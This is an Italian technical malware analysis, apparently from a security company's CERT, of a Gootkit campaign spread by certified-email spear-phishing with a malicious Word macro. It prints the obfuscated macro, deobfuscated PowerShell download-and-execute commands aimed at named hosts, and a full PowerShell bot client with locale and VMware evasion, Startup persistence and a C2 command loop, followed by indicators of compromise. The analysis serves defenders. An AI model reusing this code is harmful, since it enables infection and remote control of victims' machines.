Dal CERT di Yarix, divisione Digital Security di Var Group, una dettagliata analisi tecnica della nuova versione del malware Gootkit, da alcuni giorni all’attacco di PA e aziende, che sta veicolando contenuti malevoli tramite della Posta Elettronica Certificata.
Introduzione
Il malware si diffonde attraverso email di “Spear Phishing” inviata tramite PEC (Posta Elettronica Certificata). Sfruttando questo canale di comunicazione l’utente finale è indotto a dare maggiore affidabilità e credibilità al messaggio che gli viene recapitato non curandosi particolarmente della validità dello stesso. Il messaggio di posta elettronica recapitato è come quello che riportiamo di seguito:
Il messaggio di posta elettronica avvisa l’utente dell’avvenuto pagamento il cui bonifico è allegato al messaggio di posta elettronica. L’allegato si presenta come un documento Word che nel nostro caso risulta essere “Tribunale_di_Napoli__Procedura_esecutiva_immobiliare_xxxx”. Annidato all’interno del documento è presente del codice attivo (macro) che viene eseguito all’apertura del documento: l’utente viene avvisato che per poter accedere al documento stesso è necessario “Abilitare” il contenuto per questioni di compatibilità tra versioni di Microsoft Word. Il messaggio che l’utente si trova di fronte è il seguente:
Quando l’utente clicca su “Abilita contenuto”, Word esegue immediatamente il codice annidato al suo interno, che di seguito abbiamo analizzato.
Analisi della Macro
Come abbiamo riportato in precedenza, il documento word allegato al messaggio di posta elettronica certificata contiene del codice nascosto all’utente, ovvero una Macro. Il codice rinvenuto al suo interno, che riportiamo solo in parte, è il seguente:
…….
…….
iwufi dzcvt, txezey
tgciyzw = Array(154, 174, 220, 216, 235, 147, 151)
iwufi tgciyzw, txezey
ystcde = Array(231, 219, 215, 233, 218, 174, 198)
iwufi ystcde, txezey
wvtgbcz = Array(231, 212, 229, 231, 160, 195, 229)
iwufi wvtgbcz, txezey
azxejgb = Array(226, 214, 216, 230, 230, 147)
iwufi azxejgb, txezey
gxvyt = Array(151)
iwufi gxvyt, txezey
btjjeg = Array(216, 221, 216, 214, 231, 236, 174)
iwufi btjjeg, txezey
CreateObject(“WScript.Shell”).Run txezey
End Sub
Function bxtdxt(aijihff)
bxtdxt = aijihff – 115
End Function
Sub iwufi(a, txezey)
For Each x In a
If Len(x) Then
txezey = txezey + Chr(bxtdxt(x))
End If
Next
End Sub
Il codice sviluppato in VB6 è offuscato (testo riportato in rosso) in modo tale da non essere identificato e rilevato dai sistemi antimalware. Il codice riportato in verde recupera le informazioni offuscate costruendo dinamicamente il vero comando da eseguire, che una volta de-offuscato è il seguente:
powershell -WindowStyle Hidden -Command if( (Get-UICulture).Name -match ‘RU|UA|BY|CN’){ exit; };$etdtffd = [System.IO.Path]::GetTempPath();$ejecty = Join-Path $etdtffd ‘AdobeAR.exe’;$cwexfs=’hxxp://cloud.chachobills.com/501?vxjgz’;$gjaihi = Join-Path $etdtffd ‘SearchI32.js’;$wivwh=’hxxp://ami.regroups.net/loadercrypt_823EF8A810513A4071485C36DDAD4CC
3.php?vid=pecdoc’;$wbdffbc='(ND3RTy99ew-Object D3RTy99NeD3RTy99t.WebD3RTy99ClienD3RTy99t).DownloadFiD3RTy99le($wiD3RTy99vwhD3RTy99,
D3RTy99$gjaihiD3RTy99);’ -replace ‘D3RTy99’,”;iex $wbdffbc;Start-Process $gjaihi;$thdvg='(New-ObjBSSR9xDeBSSR9xDctBSSR9xDNBSSR9xDeBSSR9xDt.BSSR9xDWebClBSSR9xDient).BSSR9
xDDownloadBSSR9xDFBSSR9xDiBSSR9xDlBSSR9xDe($cweBSSR9xDxfs,$eBSSR9xDjecty)BSSR9
xD;’ -replace ‘BSSR9xD’,”;iex $thdvg;Start-Process $ejecty;
Semplificando il codice ed estraendo le informazioni chiave scopriamo che la macro contenuta nel documento Word esegue un comando “powershell” che analizzato e decifrato ulteriormente esegue le seguenti operazioni:
1) Scarica ed esegue dall’URL hxxp://cloud.chachobills.com/501?vxjgz il file AdobeAR.exe
2) Scarica ed esegue dall’URLhxxp://ami.regroups.net/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php?vid=pecdoc il file SearchI32.js.
Entrambi i file vengono scaricati nella cartella temporanea del profilo utente. Il primo file risulta essere un eseguibile mentre il secondo è un file di testo contenente codice powershell.
Gli hash dei due file sono rispettivamente:
- fef4949bda7f15963c0eee51fa9c6aea
- 5af648687c2f145242cb6ad30f1f1278
Analisi del file Searchl32.js
Uno dei file scaricati dal “dropper” (codice che ha scaricato i due file malevoli) è come abbiamo visto il file SearchI32.js. Il contenuto del file risulta essere nuovamente offuscato, quindi non direttamente comprensibile senza svolgere le necessarie azioni di de-offuscamento.
Riportiamo parte del codice rinvenuto sul file Search32.js:
shgyaccyaiuzfbyjghcasitsd.push(“6”);
shgyaccyaiuzfbyjghcasitsd.push(“xQavu5w74xVBuv”);
shgyaccyaiuzfbyjghcasitsd.push(“Qh58”);
shgyaccyaiuzfbyjghcasitsd.push(“”);
shgyaccyaiuzfbyjghcasitsd.push(“xThu74y”);
shgyaccyaiuzfbyjghcasitsd.push(“2uzT28wRc7VTCEBi”);
shgyaccyaiuzfbyjghcasitsd.push(“VE23”);
shgyaccyaiuzfbyjghcasitsd.push(“c737wR”);
shgyaccyaiuzfbyjghcasitsd.push(“xWt”);
shgyaccyaiuzfbyjghcasitsd.push(“6QTtV”);
shgyaccyaiuzfbyjghcasitsd.push(“A5W4x6B9w2”);
shgyaccyaiuzfbyjghcasitsd.push(“hRxtCRWu5463BwjSy”);
shgyaccyaiuzfbyjghcasitsd.push(“V9zzEva”);
shgyaccyaiuzfbyjghcasitsd.push(“QVsw2WR8zg8Ry8uxh5R9QE3zzQW73C\”BtAxzt 5Dy3Va SDTW”);
shgyaccyaiuzfbyjghcasitsd.push(“8 y”);
shgyaccyaiuzfbyjghcasitsd.push(“uy4B”);
var a = 12793 – 7069 – 3789 – 1928;
var b = “”;
eval(“zxvggyhfybgbsiewguvfid=axvggyhfybgbsiewguvfid”.replace(/(xvggyhfybgbsiewguvfid)+/gi,””));
var c = shgyaccyaiuzfbyjghcasitsd.join(jvfuxyixhbtytdavh).split(“”);
for( var x = 0; x < c.length; x++){
if( z == 14407 – 4837 – 4157 – 5406 ){
b += c[x];
a = 0;
a ++;
eval(“zxvggyhfybgbsiewguvfid=axvggyhfybgbsiewguvfid”.replace(/(xvggyhfybgbsiewguvfid)+/gi,””));
eval( b );
Utilizzando le opportune tecniche di de-offuscamento, è possibile estrarre scoprire il reale comportamento e le operazioni svolte del file malevolo. Analizzando il codice de-offuscato otteniamo ancora una volta codice “powershell”, che è il seguente:
if( (Get-UICulture).Name -match ‘RU|UA|BY|CN’ ){ exit;
};
$siffhcizhbu = [System.IO.Path]::GetTempPath();
$jubgfzjjcfiahtjciezwzv = Join-Path $siffhcizhbu ‘SearchI32.txt’ ;
$iywau=’http://green.datota.it/cryptbody2.php’;
$aifewdj = Join-Path $siffhcizhbu ‘SearchI32.js’ ;
$zvzafasjzchzhayv=’http://green.datota.it/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php’;
$ddveay = ” ;
$eafytgzeh='(RWSVRtBNew-RWSVRtBORWSVRtBbRWSVRtBject NRWSVRtBetRWSVRtB.WRWSVRtBeRWSVRtBbCliRWSVRtBent)RWSVRtB.
DownRWSVRtBloaRWSVRtBdRWSVRtBFile($iyRWSVRtBw
RWSVRtBaRWSVRtBu,$jubgfRWSVRtBzjRWSVRtBjRWSVRtBcfRWSVRtBiaht
RWSVRtBjcieRWSVRtBzRWSVRtBwzRWSVRtBvRWSVRtB)RWSVRtB;
‘ -replace ‘RWSVRtB’ ,”;
iex $eafytgzeh;
$hcuyjuxcuhw='(New-ObAESWDRQjAESWDRQectAESWDRQ NeAESWDRQt.WeAESWDRQbCAESWDRQlieAESWDRQnt).AESWDRQDAE
SWDRQowAESWDRQnloAESWDRQadFAESWDRQile($zvzAE
SWDRQaAESWDRQfasAESWDRQjzchzhayAESWDRQvAESWDRQ,$aifewAESWDRQdj);
‘ -replace ‘AESWDRQ’ ,”;
iex $hcuyjuxcuhw;
Get-Content $jubgfzjjcfiahtjciezwzv | Where-Object {$_ -match $regex} | ForEach-Object { $ddveay += $_ -replace ‘..(.)’ ,’$1′};
iex $ddveay;
E’ interessante notare, come mediante questa riga di codice “if( (Get-UICulture).Name -match ‘RU|UA|BY|CN’ ){ exit;};” il malware verifichi la lingua con cui è settata la “user interface” dell’utente, chiudendosi subito senza svolgere alcuna operazione quando la lingua rilevata è “RU, UA,BY,CN ”. Procedendo con l’analisi, scopriamo che ancora una volta che il codice scarica altro codice offuscato dai seguenti URL:
1) http://green.datota.it/cryptbody2.php
2) http://green.datota.it/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php
Il primo scarica nella cartella temporanea dell’utente il contenuto della pagina PHP in un file di testo con nome “SearchI32.txt” il cui contenuto è anche in questo caso completamente offuscato. Dal secondo URL invece il codice malevolo scarica nuovamente il file“SearchI32.js” (lo stesso descritto in precedenza) facendo quindi un’ulteriore copia di sé stesso.
Analisi del file cifrato SearchI32.txt
A questo punto, il malware ha scaricato sul profilo utente tre file: un nuovo file completamente cifrato con nome “SearchI32.txt” avente hash MD5 44ba86769022732d6862374e49b60be7, il file eseguibile “AdobeAR.exe” e il file “SearchI32.js”.
Per poter decifrare il nuovo file “SearchI32.txt” è stato necessario studiare nuovamente il contenuto precedentemente de-offuscato del file “SearchI32.js”. Osserviamo questa riga di codice:
Get-Content $jubgfzjjcfiahtjciezwzv | Where-Object {$_ -match $regex} | ForEach-Object { $ddveay += $_ -replace ‘..(.)’ ,’$1′};
Sintetizzando, è evidente come il malware decifra il contenuto della variabile“$jubgfzjjcfiahtjciezwzv” mettendone il risultato nella variabile $ddveay. Sappiamo che la variabile “$jubgfzjjcfiahtjciezwzv” contiene il testo cifrato del file “SearchI32.txt” quindi, stampando la variabile $ddveay otteniamo il i codice de-offuscato:
if( (Get-UICulture).Name -match ‘RU|UA|BY|CN’ -or (Get-WmiObject -class Win32_ComputerSystem -Property Model).Model -match ‘VMware’ ){ exit; }
Function CreateShortcut( $lnk, $Arguments, $WorkingDirectory ){
try{
$Shell = New-Object -ComObject (‘WScript.Shell’);
$ShortCut = $Shell.CreateShortcut( $lnk );
$ShortCut.Arguments= $Arguments;
$ShortCut.TargetPath = ‘cscript.exe’;
$ShortCut.WorkingDirectory = $WorkingDirectory;
$ShortCut.WindowStyle = 1;
$ShortCut.Description = ‘Windows Indexing Service’;
$ShortCut.Save();
Return ‘CreateShortcut -> ok’;
}catch{
Return ‘CreateShortcut -> fail’;
}
}
Function CreateID {
$a = ”;
try{
$a = (Get-WmiObject -class Win32_ComputerSystem -Property Name).Name.trim() + ‘_’;
}catch{
$a = ‘OMG_’;
}
try{
$a += (Get-WmiObject -class Win32_ComputerSystem -Property Model).Model.trim() + ‘_’;
}catch{
$a += ‘OMG_’;
}
try{
foreach ($disk in (gwmi win32_diskdrive)) {
$a += [convert]::tostring($disk.signature, 16);
}
}catch{
$a += ‘0000000’;
}
Return $a;
}
$ver = “328.1”;
$url_adm = ‘http://green.datota.it/’;
$bot_id = CreateID;
try{
$bot_os = [string]$PSVersionTable.BuildVersion;
}catch{
$bot_os = “undefined”;
}
$timeout = 210;
$logs = @([string]( $(get-date) ));
$psver = ( (Get-Host).Version ).Major;
$my_dir = [System.IO.Path]::GetTempPath();
$ldr = ‘SearchI32’;
$stop_id = Join-Path $my_dir ‘1’;
$exe_file = Join-Path $my_dir ‘SearchI32.exe’;
$ldr_file = Join-Path $my_dir ‘SearchI32.txt’;
$JS_file = Join-Path $my_dir ‘SearchI32.js’;
$runfile = Join-Path $my_dir ‘SearchI32.tmp’;
$lnk = [Environment]::GetFolderPath(‘Startup’) + ‘\Windows Indexing Service ‘+$ldr+’.lnk’;
if( test-path -path $runfile ){
if ( ($(Get-Date) – $(Get-Item -path $runfile).LastWriteTime).TotalSeconds -lt ($timeout * 3) ){
Start-Sleep -Seconds (3 * $timeout + 10 );
Start-Process $JS_file;
exit;
}
}
if( ![System.IO.File]::Exists( $lnk ) ){
$logs += CreateShortcut $lnk $JS_file $my_dir;
}else{
$logs += $lnk;
}
$req = New-Object System.Net.WebClient;
$req.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
$req.QueryString.Add(‘b’, $bot_id );
$req.QueryString.Add(‘os’, $bot_os );
$req.QueryString.Add(‘v’, $ver );
$req.QueryString.Add(‘psver’, $psver );
if( test-path -path $stop_id ){
rename-item -path $stop_id ‘test’;
}
$count = 0;
while ($count -le 1) {
Get-Date | out-file $runfile;
if ( test-path -path $stop_id ){
$count = 2;
exit;
}else{
try{
$action = $req.DownloadString( $url_adm ).Split(‘|’);
}catch{
$action = ‘w|’.Split(‘|’);
}
switch ( $action[0] ) {
‘m1’ {
try{
iex -Command $req.DownloadString( $action[1] );
}catch{}
break;
}
‘m’ {
try{
$req.DownloadString( $action[1] ).Split(‘|’) | foreach { iex -Command $req.DownloadString( $_); };
}catch{}
break;
}
‘u’ {
try{
try{ Remove-Item -Path $runfile; }catch{}
$req.DownloadFile($action[1], $ldr_file );
$req.DownloadFile($action[2], $JS_file );
$count = 2;
Start-Sleep -Seconds $timeout;
Start-Process $JS_file;
exit;
}catch{
Start-Sleep -Seconds $timeout;
}
break;
}
default{
Start-Sleep -Seconds $timeout;
break;
}
}
}
}
Analizziamo ora alcuni aspetti interessanti del codice appena decriptato.
La prima riga, esegue lo stesso controllo sulla lingua settata dall’utente precedentemente descritto oltre a verificare se il sistema in cui viene eseguito risulta essere un ambiente virtuale Vmware. È questo un controllo per cercare di evadere sistemi di sicurezza basati su sandbox.
Proseguendo con l’analisi del codice, scopriamo altri aspetti interessanti. Prima di tutto il malware impone la propria persistenza sul sistema compromesso, in modo tale da poter essere eseguito ad ogni riavvio del computer. Viene infatti creato un nuovo collegamento nel menu di avvio automatico dell’utente creando il link file “Windows Indexing Service SearchI32.lnk”, come riportato di seguito:
C:\Users\USER\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Indexing Service SearchI32.lnk.
L’aspetto più interessante tuttavia riguarda la natura del codice rinvenuto successivamente. Come dimostreremo di seguito, il codice appena decifrato risulta essere un “client Bot”, ovvero un malware che dialoga con un sistema centralizzato (detto anche Command and Controll) con l’obiettivo di eseguire comandi inviati da chi lo governa sul computer compromesso. Di seguito dimostreremo quanto appena affermato.
Analisi del client Botnet
Una volta che viene eseguito, il codice Powershell contenuto nel file cifrato “SearchI32.txt” si mette in contatto con il suo centro di comando e controllo “hxxp://green.datota.it” attendendo comandi da eseguire. Vediamo ora il codice relativo di cui abbiamo rimosso per questioni di sicurezza parte dello stesso:
$count = 0;
while ($count -le 1) {
Get-Date | out-file $runfile;
if ( test-path -path $stop_id ){
$count = 2;
exit;
}else{
try{
$action = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
}catch{
$action = ‘w|’.Split(‘|’);
}
switch ( $action[0] ) {
‘m1’ {
try{
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
}catch{}
break;
}
‘m’ {
try{
$rxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
}catch{}
break;
}
‘u’ {
try{
try{ Remove-Item -Path $runfile; }catch{}
$req.DownloadFile($action[1], $ldr_file );
$req.DownloadFile($action[2], $JS_file );
$count = 2;
Start-Sleep -Seconds $timeout;
Start-Process $JS_file;
exit;
}catch{
Start-Sleep -Seconds $timeout;
}
break;
}
default{
Start-Sleep -Seconds $timeout;
break;
}
}
}
}
Il codice esegue una chiamata GET al portale web “hxxp://green.datota.it”, passando al server di controllo i parametri del sistema infetto. Questo viene fatto per poter identificare univocamente il sistema compromesso e stabilirne la versione dell’impianto malware. La chiamata GET svolta è simile alla seguente:
hxxp://green.datota.it/?b=win1212&os=6.3.9600.16394&v=328.1&psver=4
La variabile “b” contiene il nome del sistema, la variabile “os” indica la versione del sistema operativo, “v” la versione della release del malware e “psver” la versione di Powershell installata sul sistema.
La chiamata GET restituisce una stringa che coincide con i comandi inviati dall’attaccante per essere eseguiti sul computer compromesso. Il comando ottenuto è simile a questo:
u hxxp://cdn.diminishedvaluevehicle.com/cryptbody2.php hxxp://cdn.diminishedvaluevehicle.com/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php
Sintetizzando e schematizzando il valore restituito, possiamo rappresentarlo in questo modo:
- $Action $CryptoFile $FileJs
dove $Action corrisponde al comando che il client Bot deve eseguire, $CryptoFile corrisponde al percorso dove scaricare il codice cifrato (quindi nuovo codice da eseguire) che diventerà il nuovo file “SearchI32.txt” mentre $FileJs corrisponde al nuovo percorso dove scaricare il file“SearchI32.js”
Analizzando il codice infatti possiamo capire che il Client Bot, che corrisponde al file cifrato “Searchl32.txt” verifica i valori ottenuti dalla chiamata GET comportandosi di conseguenza in base a quanto ottenuto. L’attaccante infatti utilizza la variabile che noi abbiamo identificato come $Action per stabilire le azioni da compiere:
- $Action=’m1’ → L’attaccante esegue comandi da remoto passandoli tramite contenuto cifrato
- $Action=’m’ → L’attaccante esegue comandi Powershell
- $Action=’u’ → L’attaccante rimuove il malware scaricando una nuova versione dello stesso
È evidente quindi come l’attaccante abbia pieno controllo del sistema. Avendo la possibilità di eseguire qualsiasi azione sul sistema compromesso, ha la possibilità di installare nuovo codice, scaricare altro malware, ottenere informazioni di qualsiasi tipo, come ad esempio password, documenti, foto, prendere controllo della webcam o del microfono del sistema, e molto altro.
Indicatori di compromissione
- 5af648687c2f145242cb6ad30f1f1278
- 8ea2c3e39506ea374099745eb815fcef
- fef4949bda7f15963c0eee51fa9c6aea
- hxxp://cloud.chachobills.com/501?vxjgz
- hxxp://ami.regroups.net/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php?vid=pecdoc
- hxxp://green.datota.it/
- hxx://green.cibariefoodconsulting.com/fodhelper/r_45ab8bcf7338a7791929.php
- hxxp://ws.youngstonelabs.co.in/501
- 03a83fdeb4071c284bf3b2d6173e71fd
Timeline della compromissione
Rappresentiamo ora schematicamente i metodi e i passaggi utilizzati dall’attaccante per prendere controllo del sistema.
